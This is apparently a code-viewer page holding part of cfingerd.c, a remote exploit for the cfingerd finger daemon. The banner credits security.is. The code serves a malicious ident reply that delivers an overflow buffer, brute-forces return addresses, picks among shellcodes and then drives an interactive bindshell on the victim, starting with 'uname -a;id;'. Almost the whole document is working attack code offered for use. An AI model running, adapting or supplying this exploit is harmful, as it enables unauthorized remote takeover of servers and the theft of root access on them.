📄 cfingerd.c
字号:
void serve_ident_request(void)
{
char buf[512+1];
struct timeval tv;
struct in_addr client_in; /* XXX */
fd_set fds;
int sock = -1;
int i = 0;
while (1)
{
i = 0;
tv.tv_sec = 5;
tv.tv_usec = 0;
FD_ZERO (&fds);
FD_SET (identd.sock, &fds);
i = select (identd.sock + 1, &fds, NULL, NULL, &tv);
if (i <= 0)
{
printf (" [-] Oops, no connection was made to our identd.\n");
return;
}
/* XXX: sock = accept() ... */
if (!memcmp (&target.in, &client_in, sizeof(client_in)))
break;
printf (" [-] Ignored an identd connection from %s!\n",
inet_ntoa(client_in));
/* XXX */
close (sock);
}
i = 0;
tv.tv_sec = 5;
tv.tv_usec = 0;
FD_ZERO (&fds);
FD_SET (sock, &fds);
i = select (sock + 1, &fds, NULL, NULL, &tv);
if (i <= 0)
{
printf (" [-] No data was available from the identd connection.\n");
return;
}
if ( (read (sock, buf, sizeof(buf)-1)) <= 0)
{
printf (" [-] read() failed from the new connection.\n");
return;
}
/* XXX: Assert that inetd is used, and output a fake reply? */
write (sock, target.evil_buffer, strlen(target.evil_buffer));
return;
}
/* XXX: Fix things, add signal() for SIGINT ? */
void run_bindshell(int sock, int port)
{
char buf[512+1];
struct sockaddr_in sin;
struct timeval tv;
fd_set fds;
int i = 0;
if (sock == 0)
{
if ( (target.bindshell_sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
return;
sin.sin_family = PF_INET;
sin.sin_port = htons (port);
sin.sin_addr.s_addr = target.in.s_addr;
memset (&(sin.sin_zero), '\0', sizeof(sin.sin_zero));
if ( (connect (target.bindshell_sock, (struct sockaddr *)&sin, sizeof(struct sockaddr))) < 0)
{
target.bindshell_sock = -1;
close (target.bindshell_sock);
return;
}
printf (" [+] Connection to %s:%d SUCCEEDED, bindshell initiated.\n",
target.name, port);
} else
target.bindshell_sock = sock;
write (target.bindshell_sock, "uname -a;id;\n", 13);
while (1)
{
tv.tv_sec = 1;
tv.tv_usec = 0;
FD_ZERO (&fds);
FD_SET (fileno (stdin), &fds);
FD_SET (target.bindshell_sock, &fds);
i = select ((target.bindshell_sock + 1), &fds, NULL, NULL, &tv);
if (i == 0)
continue;
if (i < 0)
{
close (target.bindshell_sock);
target.bindshell_sock = -1;
printf (" [-] Bindshell terminated.\n");
return;
}
memset (buf, '\0', sizeof(buf));
if (FD_ISSET (fileno (stdin), &fds))
{
if ( (read (fileno (stdin), buf, sizeof(buf)-1)) > 0)
{
if ( (write (target.bindshell_sock, buf, strlen(buf))) != strlen(buf))
{
close (target.bindshell_sock);
target.bindshell_sock = -1;
printf (" [-] Bindshell terminated, unable to write.\n");
return;
}
}
}
memset (buf, '\0', sizeof(buf));
if (FD_ISSET (target.bindshell_sock, &fds))
{
if ( (read (target.bindshell_sock, buf, sizeof(buf)-1)) <= 0)
{
close (target.bindshell_sock);
target.bindshell_sock = -1;
printf (" [-] Bindshell terminated, unable to read.\n");
return;
}
printf ("%s", buf);
}
}
return;
}
void initialize(void)
{
identd.port = 113;
identd.sock = -1;
brute_force.enabled = 0;
brute_force.start = 0L;
brute_force.stop = 0L;
brute_force.step = 0;
target.name = NULL;
target.port = 79;
target.platform_number = -1;
target.shellcode_number = -1;
target.sock = -1;
target.bindshell_sock = -1;
target.eip_address = NULL;
target.platform = NULL;
target.shellcode = (shellcodes_t *)&shellcodes[1];
target.request_user = "root";
memset (&(target.evil_buffer), '\0', sizeof(target.evil_buffer));
memset (&(target.in), '\0', sizeof(target.in));
return;
}
void usage(char *program_name)
{
platforms_t *pt = &platforms[0];
shellcodes_t *st = &shellcodes[0];
int i = 0;
printf ("Usage: %s <-t target> <-p platform> [other arguments]\n", program_name);
printf (" -s: Specify an alternative shellcode.\n");
printf (" -I: A port for identd instead of 113.\n");
printf (" -F: Remote port for cfingerd instead of 79.\n");
printf (" -b: Use the Brute Force, Luke!\n");
printf (" -u: A user to finger on the remote host instead of root.\n");
printf ("\nSupported platforms:\n");
while (platforms[i].name != NULL)
{
pt = &platforms[i];
printf (" %d: %s\n", i++, pt->name);
}
i = 0;
printf ("\nAvailable shellcodes:\n");
while (shellcodes[i].description != NULL)
{
st = &shellcodes[i];
printf (" %d: %s (%d bytes)\n",
i++, st->description, strlen(st->code));
}
exit (0);
}
int main(int argc, char **argv)
{
platforms_t *pt = &platforms[0];
shellcodes_t *st = &shellcodes[0];
int i, c;
printf ("cfingerd remote exploit, brought to you by security.is\n");
printf ("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n");
if (getuid())
{
printf (" Because the exploit utilizes port 113 (identd),\n");
printf (" it must be run with superuser privileges.\n");
exit (0);
}
(void)initialize();
while ( (c = getopt(argc, argv, "s:p:I:t:F:u:bh?")) != EOF)
{
switch (c)
{
case 'b':
brute_force.enabled = 1;
break;
case 'p':
target.platform_number = atoi(optarg);
break;
case 's':
target.shellcode_number = atoi(optarg);
break;
case 'I':
identd.port = atoi(optarg);
break;
case 'F':
target.port = atoi(optarg);
break;
case 't':
target.name = (char *)strdup(optarg);
break;
case 'u':
target.request_user = (char *)strdup(optarg);
break;
default:
printf (" [-] Unrecognized option: -%c.\n", c);
/* fall through */
case 'h':
case '?':
usage (argv[0]);
/* not reached */
}
}
if (target.name == NULL)
{
printf (" [-] No victim was specified.\n");
usage (argv[0]);
}
if (target.platform_number < 0)
{
printf (" [-] Missing argument for remote platform.\n");
usage (argv[0]);
}
for (i = 0; i < target.platform_number; i++)
{
pt = &platforms[i];
if (pt->name == NULL)
{
printf (" [-] Abnormal platform number.\n");
exit (-1);
}
}
printf (" [+] Platform: %s.\n", pt->name);
target.platform = pt;
target.eip_address = (unsigned long *)&(target.platform->eip_address);
if (target.shellcode_number >= 0)
{
for (i = 0; i < target.shellcode_number; i++)
{
st = &shellcodes[i];
if (st->description == NULL)
{
printf (" [-] Abnormal shellcode number.\n");
exit (-1);
}
}
target.shellcode = st;
}
printf (" [+] Shellcode: %s.\n", target.shellcode->description);
if (identd.port != 113)
printf (" [+] Identd port set to %d.\n", identd.port);
(void)resolve_hostname();
if (brute_force.enabled == 1)
{
printf (" [:] Enter \"start stop step\" for brute force.\n");
printf (" (e.g. 0xbfff1214 0xbfff12a0 4)\n");
while ( (fscanf (stdin, "%lx %lx %u", &(brute_force.start),
&(brute_force.stop), &(brute_force.step))) != 3)
printf (" [-] The arguments were incorrectly specified.\n");
if ( (((unsigned long)(brute_force.start) >> 16) != 0xbfff) ||
(((unsigned long)(brute_force.stop) >> 16) != 0xbfff) )
printf (" [!] Warning! On Linuces, the %%eip register is saved "
"on the stack, 0xbfff....!\n");
if (brute_force.step % 4)
printf (" [!] Warning! It is highly recommended having the step "
"dividable with 4.\n");
target.platform->eip_address = brute_force.start;
}
signal (SIGHUP, signal_handler);
signal (SIGINT, signal_handler);
signal (SIGTERM, signal_handler);
signal (SIGQUIT, signal_handler);
(void)bind_identd();
while (1)
{
printf (" [+] Using %%eip address: %#lx.\n", *target.eip_address);
for (c = 0, i = 0; i < 4; i++)
{
if ((((u_long)(*target.eip_address + i) & 0xff) == 0x00) ||
((((u_long)(*target.eip_address + i) >> 8) & 0xff) == 0x00) ||
((((u_long)(*target.eip_address + i) >> 16) & 0xff) == 0x00) ||
((((u_long)(*target.eip_address + i) >> 24) & 0xff) == 0x00) )
c++;
}
if (c)
printf (" [!] Warning! The buffer will include NULL bytes. (%d/4)\n", c);
(void)construct_buffer();
(void)connect_to_cfingerd();
(void)serve_ident_request(); /* inetd */
write (target.sock, target.request_user, strlen (target.request_user));
write (target.sock, "\n", 1);
(void)serve_ident_request(); /* cfingerd */
switch (target.shellcode->type)
{
case -1:
close (target.sock);
target.sock = -1;
break;
case 0: /* dup2 bindshell */
run_bindshell (target.sock, 0);
break;
default: /* bindshell on another port */
close (target.sock);
target.sock = -1;
run_bindshell (0, target.shellcode->type);
break;
}
if (brute_force.enabled == 1)
{
*target.eip_address += brute_force.step;
if (*target.eip_address >= brute_force.stop)
break;
} else
break;
}
printf (" [-] The exploit has been discontinued.\n");
clean_exit();
return (0);
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -